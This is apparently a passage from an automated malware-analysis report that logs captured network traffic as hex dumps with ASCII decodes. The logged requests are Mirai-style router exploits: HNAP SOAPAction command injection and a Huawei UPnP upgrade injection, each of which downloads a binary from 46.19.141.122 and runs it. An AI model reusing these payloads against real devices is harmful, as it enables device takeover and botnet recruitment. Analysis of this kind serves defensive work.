61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 